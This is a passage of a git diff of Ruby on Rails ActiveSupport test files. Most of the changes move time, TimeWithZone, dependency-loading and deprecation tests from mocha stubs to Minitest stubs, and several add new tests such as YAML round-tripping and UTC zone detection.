Time.stubs(:now).returns(Time.utc(2008)) - assert_equal 29, Time.days_in_month(2) + Time.stub(:now, Time.utc(2008)) do + assert_equal 29, Time.days_in_month(2) + end + end + + def test_days_in_year_with_year + assert_equal 365, Time.days_in_year(2005) + assert_equal 366, Time.days_in_year(2004) + assert_equal 366, Time.days_in_year(2000) + assert_equal 365, Time.days_in_year(1900) + end + + def test_days_in_year_in_common_year_without_year_arg + Time.stub(:now, Time.utc(2007)) do + assert_equal 365, Time.days_in_year + end + end + + def test_days_in_year_in_leap_year_without_year_arg + Time.stub(:now, Time.utc(2008)) do + assert_equal 366, Time.days_in_year + end end def test_last_month_on_31st @@ -619,68 +659,74 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase end def test_today_with_time_local - Date.stubs(:current).returns(Date.new(2000, 1, 1)) - assert_equal false, Time.local(1999,12,31,23,59,59).today? - assert_equal true, Time.local(2000,1,1,0).today? - assert_equal true, Time.local(2000,1,1,23,59,59).today? - assert_equal false, Time.local(2000,1,2,0).today? + Date.stub(:current, Date.new(2000, 1, 1)) do + assert_equal false, Time.local(1999,12,31,23,59,59).today? + assert_equal true, Time.local(2000,1,1,0).today? + assert_equal true, Time.local(2000,1,1,23,59,59).today? + assert_equal false, Time.local(2000,1,2,0).today? + end end def test_today_with_time_utc - Date.stubs(:current).returns(Date.new(2000, 1, 1)) - assert_equal false, Time.utc(1999,12,31,23,59,59).today? - assert_equal true, Time.utc(2000,1,1,0).today? - assert_equal true, Time.utc(2000,1,1,23,59,59).today? - assert_equal false, Time.utc(2000,1,2,0).today? + Date.stub(:current, Date.new(2000, 1, 1)) do + assert_equal false, Time.utc(1999,12,31,23,59,59).today? + assert_equal true, Time.utc(2000,1,1,0).today? + assert_equal true, Time.utc(2000,1,1,23,59,59).today? + assert_equal false, Time.utc(2000,1,2,0).today? + end end def test_past_with_time_current_as_time_local with_env_tz 'US/Eastern' do - Time.stubs(:current).returns(Time.local(2005,2,10,15,30,45)) - assert_equal true, Time.local(2005,2,10,15,30,44).past? - assert_equal false, Time.local(2005,2,10,15,30,45).past? - assert_equal false, Time.local(2005,2,10,15,30,46).past? - assert_equal true, Time.utc(2005,2,10,20,30,44).past? - assert_equal false, Time.utc(2005,2,10,20,30,45).past? - assert_equal false, Time.utc(2005,2,10,20,30,46).past? + Time.stub(:current, Time.local(2005,2,10,15,30,45)) do + assert_equal true, Time.local(2005,2,10,15,30,44).past? + assert_equal false, Time.local(2005,2,10,15,30,45).past? + assert_equal false, Time.local(2005,2,10,15,30,46).past? + assert_equal true, Time.utc(2005,2,10,20,30,44).past? + assert_equal false, Time.utc(2005,2,10,20,30,45).past? + assert_equal false, Time.utc(2005,2,10,20,30,46).past? + end end end def test_past_with_time_current_as_time_with_zone with_env_tz 'US/Eastern' do twz = Time.utc(2005,2,10,15,30,45).in_time_zone('Central Time (US & Canada)') - Time.stubs(:current).returns(twz) - assert_equal true, Time.local(2005,2,10,10,30,44).past? - assert_equal false, Time.local(2005,2,10,10,30,45).past? - assert_equal false, Time.local(2005,2,10,10,30,46).past? - assert_equal true, Time.utc(2005,2,10,15,30,44).past? - assert_equal false, Time.utc(2005,2,10,15,30,45).past? - assert_equal false, Time.utc(2005,2,10,15,30,46).past? + Time.stub(:current, twz) do + assert_equal true, Time.local(2005,2,10,10,30,44).past? + assert_equal false, Time.local(2005,2,10,10,30,45).past? + assert_equal false, Time.local(2005,2,10,10,30,46).past? + assert_equal true, Time.utc(2005,2,10,15,30,44).past? + assert_equal false, Time.utc(2005,2,10,15,30,45).past? + assert_equal false, Time.utc(2005,2,10,15,30,46).past? + end end end def test_future_with_time_current_as_time_local with_env_tz 'US/Eastern' do - Time.stubs(:current).returns(Time.local(2005,2,10,15,30,45)) - assert_equal false, Time.local(2005,2,10,15,30,44).future? - assert_equal false, Time.local(2005,2,10,15,30,45).future? - assert_equal true, Time.local(2005,2,10,15,30,46).future? - assert_equal false, Time.utc(2005,2,10,20,30,44).future? - assert_equal false, Time.utc(2005,2,10,20,30,45).future? - assert_equal true, Time.utc(2005,2,10,20,30,46).future? + Time.stub(:current, Time.local(2005,2,10,15,30,45)) do + assert_equal false, Time.local(2005,2,10,15,30,44).future? + assert_equal false, Time.local(2005,2,10,15,30,45).future? + assert_equal true, Time.local(2005,2,10,15,30,46).future? + assert_equal false, Time.utc(2005,2,10,20,30,44).future? + assert_equal false, Time.utc(2005,2,10,20,30,45).future? + assert_equal true, Time.utc(2005,2,10,20,30,46).future? + end end end def test_future_with_time_current_as_time_with_zone with_env_tz 'US/Eastern' do twz = Time.utc(2005,2,10,15,30,45).in_time_zone('Central Time (US & Canada)') - Time.stubs(:current).returns(twz) - assert_equal false, Time.local(2005,2,10,10,30,44).future? - assert_equal false, Time.local(2005,2,10,10,30,45).future? - assert_equal true, Time.local(2005,2,10,10,30,46).future? - assert_equal false, Time.utc(2005,2,10,15,30,44).future? - assert_equal false, Time.utc(2005,2,10,15,30,45).future? - assert_equal true, Time.utc(2005,2,10,15,30,46).future? + Time.stub(:current, twz) do + assert_equal false, Time.local(2005,2,10,10,30,44).future? + assert_equal false, Time.local(2005,2,10,10,30,45).future? + assert_equal true, Time.local(2005,2,10,10,30,46).future? + assert_equal false, Time.utc(2005,2,10,15,30,44).future? + assert_equal false, Time.utc(2005,2,10,15,30,45).future? + assert_equal true, Time.utc(2005,2,10,15,30,46).future? + end end end @@ -721,6 +767,13 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase assert_equal(-1, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 1), ActiveSupport::TimeZone['UTC'] )) end + def test_compare_with_string + assert_equal 1, Time.utc(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59, 999).to_s + assert_equal 0, Time.utc(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0).to_s + assert_equal( -1, Time.utc(2000) <=> Time.utc(2000, 1, 1, 0, 0, 1, 0).to_s) + assert_equal nil, Time.utc(2000) <=> 'Invalid as Time' + end + def test_at_with_datetime assert_equal Time.utc(2000, 1, 1, 0, 0, 0), Time.at(DateTime.civil(2000, 1, 1, 0, 0, 0)) diff --git a/activesupport/test/core_ext/time_with_zone_test.rb b/activesupport/test/core_ext/time_with_zone_test.rb index 92c233d567..d90714acdb 100644 --- a/activesupport/test/core_ext/time_with_zone_test.rb +++ b/activesupport/test/core_ext/time_with_zone_test.rb @@ -1,6 +1,8 @@ require 'abstract_unit' require 'active_support/time' require 'time_zone_test_helpers' +require 'active_support/core_ext/string/strip' +require 'yaml' class TimeWithZoneTest < ActiveSupport::TestCase include TimeZoneTestHelpers @@ -9,10 +11,13 @@ class TimeWithZoneTest < ActiveSupport::TestCase @utc = Time.utc(2000, 1, 1, 0) @time_zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] @twz = ActiveSupport::TimeWithZone.new(@utc, @time_zone) + @dt_twz = ActiveSupport::TimeWithZone.new(@utc.to_datetime, @time_zone) end def test_utc assert_equal @utc, @twz.utc + assert_instance_of Time, @twz.utc + assert_instance_of Time, @dt_twz.utc end def test_time @@ -45,11 +50,28 @@ class TimeWithZoneTest < ActiveSupport::TestCase def test_localtime assert_equal @twz.localtime, @twz.utc.getlocal + assert_instance_of Time, @twz.localtime + assert_instance_of Time, @dt_twz.localtime end def test_utc? assert_equal false, @twz.utc? + assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC']).utc? + assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['Etc/UTC']).utc? + assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['Universal']).utc? + assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UCT']).utc? + assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['Etc/UCT']).utc? + assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['Etc/Universal']).utc? + + assert_equal false, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['Africa/Abidjan']).utc? + assert_equal false, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['Africa/Banjul']).utc? + assert_equal false, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['Africa/Freetown']).utc? + assert_equal false, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['GMT']).utc? + assert_equal false, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['GMT0']).utc? + assert_equal false, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['Greenwich']).utc? + assert_equal false, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['Iceland']).utc? + assert_equal false, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['Africa/Monrovia']).utc? end def test_formatted_offset @@ -108,14 +130,14 @@ class TimeWithZoneTest < ActiveSupport::TestCase @twz += 0.1234560001 # advance the time by a fraction of a second assert_equal "1999-12-31T19:00:00.123-05:00", @twz.xmlschema(3) assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(6) - assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(12) + assert_equal "1999-12-31T19:00:00.123456000100-05:00", @twz.xmlschema(12) end def test_xmlschema_with_fractional_seconds_lower_than_hundred_thousand @twz += 0.001234 # advance the time by a fraction assert_equal "1999-12-31T19:00:00.001-05:00", @twz.xmlschema(3) assert_equal "1999-12-31T19:00:00.001234-05:00", @twz.xmlschema(6) - assert_equal "1999-12-31T19:00:00.001234-05:00", @twz.xmlschema(12) + assert_equal "1999-12-31T19:00:00.001234000000-05:00", @twz.xmlschema(12) end def test_xmlschema_with_nil_fractional_seconds @@ -123,11 +145,53 @@ class TimeWithZoneTest < ActiveSupport::TestCase end def test_to_yaml - assert_match(/^--- 2000-01-01 00:00:00(\.0+)?\s*Z\n/, @twz.to_yaml) + yaml = <<-EOF.strip_heredoc + --- !ruby/object:ActiveSupport::TimeWithZone + utc: 2000-01-01 00:00:00.000000000 Z + zone: !ruby/object:ActiveSupport::TimeZone + name: America/New_York + time: 1999-12-31 19:00:00.000000000 Z + EOF + + assert_equal(yaml, @twz.to_yaml) end def test_ruby_to_yaml - assert_match(/---\s*\n:twz: 2000-01-01 00:00:00(\.0+)?\s*Z\n/, {:twz => @twz}.to_yaml) + yaml = <<-EOF.strip_heredoc + --- + twz: !ruby/object:ActiveSupport::TimeWithZone + utc: 2000-01-01 00:00:00.000000000 Z + zone: !ruby/object:ActiveSupport::TimeZone + name: America/New_York + time: 1999-12-31 19:00:00.000000000 Z + EOF + + assert_equal(yaml, { 'twz' => @twz }.to_yaml) + end + + def test_yaml_load + yaml = <<-EOF.strip_heredoc + --- !ruby/object:ActiveSupport::TimeWithZone + utc: 2000-01-01 00:00:00.000000000 Z + zone: !ruby/object:ActiveSupport::TimeZone + name: America/New_York + time: 1999-12-31 19:00:00.000000000 Z + EOF + + assert_equal(@twz, YAML.load(yaml)) + end + + def test_ruby_yaml_load + yaml = <<-EOF.strip_heredoc + --- + twz: !ruby/object:ActiveSupport::TimeWithZone + utc: 2000-01-01 00:00:00.000000000 Z + zone: !ruby/object:ActiveSupport::TimeZone + name: America/New_York + time: 1999-12-31 19:00:00.000000000 Z + EOF + + assert_equal({ 'twz' => @twz }, YAML.load(yaml)) end def test_httpdate @@ -162,52 +226,61 @@ class TimeWithZoneTest < ActiveSupport::TestCase end def test_today - Date.stubs(:current).returns(Date.new(2000, 1, 1)) - assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.utc(1999,12,31,23,59,59) ).today? - assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.utc(2000,1,1,0) ).today? - assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.utc(2000,1,1,23,59,59) ).today? - assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.utc(2000,1,2,0) ).today? + Date.stub(:current, Date.new(2000, 1, 1)) do + assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.utc(1999,12,31,23,59,59) ).today? + assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.utc(2000,1,1,0) ).today? + assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.utc(2000,1,1,23,59,59) ).today? + assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.utc(2000,1,2,0) ).today? + end end def test_past_with_time_current_as_time_local with_env_tz 'US/Eastern' do - Time.stubs(:current).returns(Time.local(2005,2,10,15,30,45)) - assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,44)).past? - assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45)).past? - assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,46)).past? + Time.stub(:current, Time.local(2005,2,10,15,30,45)) do + assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,44)).past? + assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45)).past? + assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,46)).past? + end end end def test_past_with_time_current_as_time_with_zone twz = ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45) ) - Time.stubs(:current).returns(twz) - assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,44)).past? - assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45)).past? - assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,46)).past? + Time.stub(:current, twz) do + assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,44)).past? + assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45)).past? + assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,46)).past? + end end def test_future_with_time_current_as_time_local with_env_tz 'US/Eastern' do - Time.stubs(:current).returns(Time.local(2005,2,10,15,30,45)) - assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,44)).future? - assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45)).future? - assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,46)).future? + Time.stub(:current, Time.local(2005,2,10,15,30,45)) do + assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,44)).future? + assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45)).future? + assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,46)).future? + end end end def test_future_with_time_current_as_time_with_zone twz = ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45) ) - Time.stubs(:current).returns(twz) - assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,44)).future? - assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45)).future? - assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,46)).future? + Time.stub(:current, twz) do + assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,44)).future? + assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45)).future? + assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,46)).future? + end end def test_eql? + assert_equal true, @twz.eql?(@twz.dup) assert_equal true, @twz.eql?(Time.utc(2000)) assert_equal true, @twz.eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]) ) assert_equal false, @twz.eql?( Time.utc(2000, 1, 1, 0, 0, 1) ) assert_equal false, @twz.eql?( DateTime.civil(1999, 12, 31, 23, 59, 59) ) + + other_twz = ActiveSupport::TimeWithZone.new(DateTime.now.utc, @time_zone) + assert_equal true, other_twz.eql?(other_twz.dup) end def test_hash @@ -434,22 +507,24 @@ class TimeWithZoneTest < ActiveSupport::TestCase end def test_method_missing_with_non_time_return_value - @twz.time.expects(:foo).returns('bar') + time = @twz.time + def time.foo; 'bar'; end assert_equal 'bar', @twz.foo end def test_date_part_value_methods twz = ActiveSupport::TimeWithZone.new(Time.utc(1999,12,31,19,18,17,500), @time_zone) - twz.expects(:method_missing).never - assert_equal 1999, twz.year - assert_equal 12, twz.month - assert_equal 31, twz.day - assert_equal 14, twz.hour - assert_equal 18, twz.min - assert_equal 17, twz.sec - assert_equal 500, twz.usec - assert_equal 5, twz.wday - assert_equal 365, twz.yday + assert_not_called(twz, :method_missing) do + assert_equal 1999, twz.year + assert_equal 12, twz.month + assert_equal 31, twz.day + assert_equal 14, twz.hour + assert_equal 18, twz.min + assert_equal 17, twz.sec + assert_equal 500, twz.usec + assert_equal 5, twz.wday + assert_equal 365, twz.yday + end end def test_usec_returns_0_when_datetime_is_wrapped @@ -990,19 +1065,21 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < ActiveSupport::TestCase def test_current_returns_time_now_when_zone_not_set with_env_tz 'US/Eastern' do - Time.stubs(:now).returns Time.local(2000) - assert_equal false, Time.current.is_a?(ActiveSupport::TimeWithZone) - assert_equal Time.local(2000), Time.current + Time.stub(:now, Time.local(2000)) do + assert_equal false, Time.current.is_a?(ActiveSupport::TimeWithZone) + assert_equal Time.local(2000), Time.current + end end end def test_current_returns_time_zone_now_when_zone_set Time.zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] with_env_tz 'US/Eastern' do - Time.stubs(:now).returns Time.local(2000) - assert_equal true, Time.current.is_a?(ActiveSupport::TimeWithZone) - assert_equal 'Eastern Time (US & Canada)', Time.current.time_zone.name - assert_equal Time.utc(2000), Time.current.time + Time.stub(:now, Time.local(2000)) do + assert_equal true, Time.current.is_a?(ActiveSupport::TimeWithZone) + assert_equal 'Eastern Time (US & Canada)', Time.current.time_zone.name + assert_equal Time.utc(2000), Time.current.time + end end end diff --git a/activesupport/test/dependencies_test.rb b/activesupport/test/dependencies_test.rb index 702e26859a..04e7b24d30 100644 --- a/activesupport/test/dependencies_test.rb +++ b/activesupport/test/dependencies_test.rb @@ -76,6 +76,7 @@ class DependenciesTest < ActiveSupport::TestCase def test_dependency_which_raises_exception_isnt_added_to_loaded_set with_loading do filename = 'dependencies/raises_exception' + expanded = File.expand_path(filename) $raises_exception_load_count = 0 5.times do |count| @@ -86,8 +87,8 @@ class DependenciesTest < ActiveSupport::TestCase assert_equal 'Loading me failed, so do not add to loaded or history.', e.message assert_equal count + 1, $raises_exception_load_count - assert_not ActiveSupport::Dependencies.loaded.include?(filename) - assert_not ActiveSupport::Dependencies.history.include?(filename) + assert_not ActiveSupport::Dependencies.loaded.include?(expanded) + assert_not ActiveSupport::Dependencies.history.include?(expanded) end end end @@ -160,7 +161,7 @@ class DependenciesTest < ActiveSupport::TestCase def test_ensures_the_expected_constant_is_defined with_autoloading_fixtures do e = assert_raise(LoadError) { Typo } - assert_match %r{Unable to autoload constant Typo, expected .*activesupport/test/autoloading_fixtures/typo.rb to define it}, e.message + assert_match %r{Unable to autoload constant Typo, expected .*/test/autoloading_fixtures/typo.rb to define it}, e.message end end @@ -178,7 +179,7 @@ class DependenciesTest < ActiveSupport::TestCase assert_equal 1, TypO e = assert_raise(LoadError) { Typo } - assert_match %r{Unable to autoload constant Typo, expected .*activesupport/test/autoloading_fixtures/typo.rb to define it}, e.message + assert_match %r{Unable to autoload constant Typo, expected .*/test/autoloading_fixtures/typo.rb to define it}, e.message end end @@ -187,7 +188,7 @@ class DependenciesTest < ActiveSupport::TestCase assert_kind_of Module, A assert_kind_of Class, A::B assert_kind_of Class, A::C::D - assert_kind_of Class, A::C::E::F + assert_kind_of Class, A::C::EM::F end end @@ -268,6 +269,28 @@ class DependenciesTest < ActiveSupport::TestCase remove_constants(:ModuleFolder) end + def test_raising_discards_autoloaded_constants + with_autoloading_fixtures do + assert_raises(Exception, 'arbitray exception message') { RaisesArbitraryException } + assert_not defined?(A) + assert_not defined?(RaisesArbitraryException) + end + ensure + remove_constants(:A, :RaisesArbitraryException) + end + + def test_throwing_discards_autoloaded_constants + with_autoloading_fixtures do + catch :t do + Throws + end + assert_not defined?(A) + assert_not defined?(Throws) + end + ensure + remove_constants(:A, :Throws) + end + def test_doesnt_break_normal_require path = File.expand_path("../autoloading_fixtures/load_path", __FILE__) original_path = $:.dup @@ -552,24 +575,24 @@ class DependenciesTest < ActiveSupport::TestCase def test_const_missing_in_anonymous_modules_loads_top_level_constants with_autoloading_fixtures do # class_eval STRING pushes the class to the nesting of the eval'ed code. - klass = Class.new.class_eval "E" - assert_equal E, klass + klass = Class.new.class_eval "EM" + assert_equal EM, klass end ensure - remove_constants(:E) + remove_constants(:EM) end def test_const_missing_in_anonymous_modules_raises_if_the_constant_belongs_to_Object with_autoloading_fixtures do - require_dependency 'e' + require_dependency 'em' mod = Module.new - e = assert_raise(NameError) { mod::E } - assert_equal 'E cannot be autoloaded from an anonymous class or module', e.message - assert_equal :E, e.name + e = assert_raise(NameError) { mod::EM } + assert_equal 'EM cannot be autoloaded from an anonymous class or module', e.message + assert_equal :EM, e.name end ensure - remove_constants(:E) + remove_constants(:EM) end def test_removal_from_tree_should_be_detected @@ -664,19 +687,19 @@ class DependenciesTest < ActiveSupport::TestCase def test_preexisting_constants_are_not_marked_as_autoloaded with_autoloading_fixtures do - require_dependency 'e' - assert ActiveSupport::Dependencies.autoloaded?(:E) + require_dependency 'em' + assert ActiveSupport::Dependencies.autoloaded?(:EM) ActiveSupport::Dependencies.clear end - Object.const_set :E, Class.new + Object.const_set :EM, Class.new with_autoloading_fixtures do - require_dependency 'e' - assert ! ActiveSupport::Dependencies.autoloaded?(:E), "E shouldn't be marked autoloaded!" + require_dependency 'em' + assert ! ActiveSupport::Dependencies.autoloaded?(:EM), "EM shouldn't be marked autoloaded!" ActiveSupport::Dependencies.clear end ensure - remove_constants(:E) + remove_constants(:EM) end def test_constants_in_capitalized_nesting_marked_as_autoloaded @@ -721,12 +744,13 @@ class DependenciesTest < ActiveSupport::TestCase end def test_unloadable_constants_should_receive_callback - Object.const_set :C, Class.new + Object.const_set :C, Class.new { def self.before_remove_const; end } C.unloadable - C.expects(:before_remove_const).once - assert C.respond_to?(:before_remove_const) - ActiveSupport::Dependencies.clear - assert !defined?(C) + assert_called(C, :before_remove_const, times: 1) do + assert C.respond_to?(:before_remove_const) + ActiveSupport::Dependencies.clear + assert !defined?(C) + end ensure remove_constants(:C) end @@ -1046,12 +1070,4 @@ class DependenciesTest < ActiveSupport::TestCase ensure ActiveSupport::Dependencies.hook! end - - def test_unhook - ActiveSupport::Dependencies.unhook! - assert !Module.new.respond_to?(:const_missing_without_dependencies) - assert !Module.new.respond_to?(:load_without_new_constant_marking) - ensure - ActiveSupport::Dependencies.hook! - end end diff --git a/activesupport/test/deprecation/method_wrappers_test.rb b/activesupport/test/deprecation/method_wrappers_test.rb new file mode 100644 index 0000000000..9a4ca2b217 --- /dev/null +++ b/activesupport/test/deprecation/method_wrappers_test.rb @@ -0,0 +1,34 @@ +require 'abstract_unit' +require 'active_support/deprecation' + +class MethodWrappersTest < ActiveSupport::TestCase + def setup + @klass = Class.new do + def new_method; "abc" end + alias_method :old_method, :new_method + end + end + + def test_deprecate_methods_warning_default + warning = /old_method is deprecated and will be removed from Rails \d.\d \(use new_method instead\)/ + ActiveSupport::Deprecation.deprecate_methods(@klass, :old_method => :new_method) + + assert_deprecated(warning) { assert_equal "abc", @klass.new.old_method } + end + + def test_deprecate_methods_warning_with_optional_deprecator + warning = /old_method is deprecated and will be removed from MyGem next-release \(use new_method instead\)/ + deprecator = ActiveSupport::Deprecation.new("next-release", "MyGem") + ActiveSupport::Deprecation.deprecate_methods(@klass, :old_method => :new_method, :deprecator => deprecator) + + assert_deprecated(warning, deprecator) { assert_equal "abc", @klass.new.old_method } + end + + def test_deprecate_methods_warning_when_deprecated_with_custom_deprecator + warning = /old_method is deprecated and will be removed from MyGem next-release \(use new_method instead\)/ + deprecator = ActiveSupport::Deprecation.new("next-release", "MyGem") + deprecator.deprecate_methods(@klass, :old_method => :new_method) + + assert_deprecated(warning, deprecator) { assert_equal "abc", @klass.new.old_method } + end +end diff --git a/activesupport/test/deprecation_test.rb b/activesupport/test/deprecation_test.rb index 20bd8ee5dd..ec34bd823d 100644 --- a/activesupport/test/deprecation_test.rb +++ b/activesupport/test/deprecation_test.rb @@ -105,13 +105,13 @@ class DeprecationTest < ActiveSupport::TestCase ActiveSupport::Deprecation.behavior = :raise message = 'Revise this deprecated stuff now!' - callstack = %w(foo bar baz) + callstack = caller_locations e = assert_raise ActiveSupport::DeprecationException do ActiveSupport::Deprecation.behavior.first.call(message, callstack) end assert_equal message, e.message - assert_equal callstack, e.backtrace + assert_equal callstack.map(&:to_s), e.backtrace.map(&:to_s) end def test_default_stderr_behavior @@ -163,6 +163,14 @@ class DeprecationTest < ActiveSupport::TestCase assert_not_deprecated { assert_equal Deprecatee::B::C.class, Deprecatee::A.class } end + def test_assert_deprecated_raises_when_method_not_deprecated + assert_raises(Minitest::Assertion) { assert_deprecated { @dtc.not } } + end + + def test_assert_not_deprecated + assert_raises(Minitest::Assertion) { assert_not_deprecated { @dtc.partially } } + end + def test_assert_deprecation_without_match assert_deprecated do @dtc.partially @@ -191,7 +199,7 @@ class DeprecationTest < ActiveSupport::TestCase end def test_assert_deprecated_warn_work_with_default_behavior - ActiveSupport::Deprecation.instance_variable_set('@behavior' , nil) + ActiveSupport::Deprecation.instance_variable_set('@behavior', nil) assert_deprecated('abc') do ActiveSupport::Deprecation.warn 'abc' end @@ -256,17 +264,17 @@ class DeprecationTest < ActiveSupport::TestCase end def test_deprecate_with_custom_deprecator - custom_deprecator = mock('Deprecator') do - expects(:deprecation_warning) - end + custom_deprecator = Struct.new(:deprecation_warning).new - klass = Class.new do - def method + assert_called_with(custom_deprecator, :deprecation_warning, [:method, nil]) do + klass = Class.new do + def method + end + deprecate :method, deprecator: custom_deprecator end - deprecate :method, deprecator: custom_deprecator - end - klass.new.method + klass.new.method + end end def test_deprecated_constant_with_deprecator_given @@ -332,6 +340,10 @@ class DeprecationTest < ActiveSupport::TestCase assert_match(/You are calling deprecated method/, object.last_message) end + def test_default_deprecation_horizon_should_always_bigger_than_current_rails_version + assert_operator ActiveSupport::Deprecation.new.deprecation_horizon, :>, ActiveSupport::VERSION::STRING + end + def test_default_gem_name deprecator = ActiveSupport::Deprecation.new diff --git a/activesupport/test/evented_file_update_checker_test.rb b/activesupport/test/evented_file_update_checker_test.rb new file mode 100644 index 0000000000..bc3f77bd54 --- /dev/null +++ b/activesupport/test/evented_file_update_checker_test.rb @@ -0,0 +1,155 @@ +require 'abstract_unit' +require 'pathname' +require 'file_update_checker_shared_tests' + +class EventedFileUpdateCheckerTest < ActiveSupport::TestCase + include FileUpdateCheckerSharedTests + + def setup + skip if ENV['LISTEN'] == '0' + super + end + + def new_checker(files = [], dirs = {}, &block) + ActiveSupport::EventedFileUpdateChecker.new(files, dirs, &block).tap do + wait + end + end + + def teardown + super + Listen.stop + end + + def wait + sleep 1 + end + + def touch(files) + super + wait # wait for the events to fire + end + + def rm_f(files) + super + wait + end +end + +class EventedFileUpdateCheckerPathHelperTest < ActiveSupport::TestCase + def pn(path) + Pathname.new(path) + end + + setup do + @ph = ActiveSupport::EventedFileUpdateChecker::PathHelper.new + end + + test '#xpath returns the expanded path as a Pathname object' do + assert_equal pn(__FILE__).expand_path, @ph.xpath(__FILE__) + end + + test '#normalize_extension returns a bare extension as is' do + assert_equal 'rb', @ph.normalize_extension('rb') + end + + test '#normalize_extension removes a leading dot' do + assert_equal 'rb', @ph.normalize_extension('.rb') + end + + test '#normalize_extension supports symbols' do + assert_equal 'rb', @ph.normalize_extension(:rb) + end + + test '#longest_common_subpath finds the longest common subpath, if there is one' do + paths = %w( + /foo/bar + /foo/baz + /foo/bar/baz/woo/zoo + ).map { |path| pn(path) } + + assert_equal pn('/foo'), @ph.longest_common_subpath(paths) + end + + test '#longest_common_subpath returns the root directory as an edge case' do + paths = %w( + /foo/bar + /foo/baz + /foo/bar/baz/woo/zoo + /wadus + ).map { |path| pn(path) } + + assert_equal pn('/'), @ph.longest_common_subpath(paths) + end + + test '#longest_common_subpath returns nil for an empty collection' do + assert_nil @ph.longest_common_subpath([]) + end + + test '#existing_parent returns the most specific existing ascendant' do + wd = Pathname.getwd + + assert_equal wd, @ph.existing_parent(wd) + assert_equal wd, @ph.existing_parent(wd.join('non-existing/directory')) + assert_equal pn('/'), @ph.existing_parent(pn('/non-existing/directory')) + end + + test '#filter_out_descendants returns the same collection if there are no descendants (empty)' do + assert_equal [], @ph.filter_out_descendants([]) + end + + test '#filter_out_descendants returns the same collection if there are no descendants (one)' do + assert_equal ['/foo'], @ph.filter_out_descendants(['/foo']) + end + + test '#filter_out_descendants returns the same collection if there are no descendants (several)' do + paths = %w( + /Rails.root/app/controllers + /Rails.root/app/models + 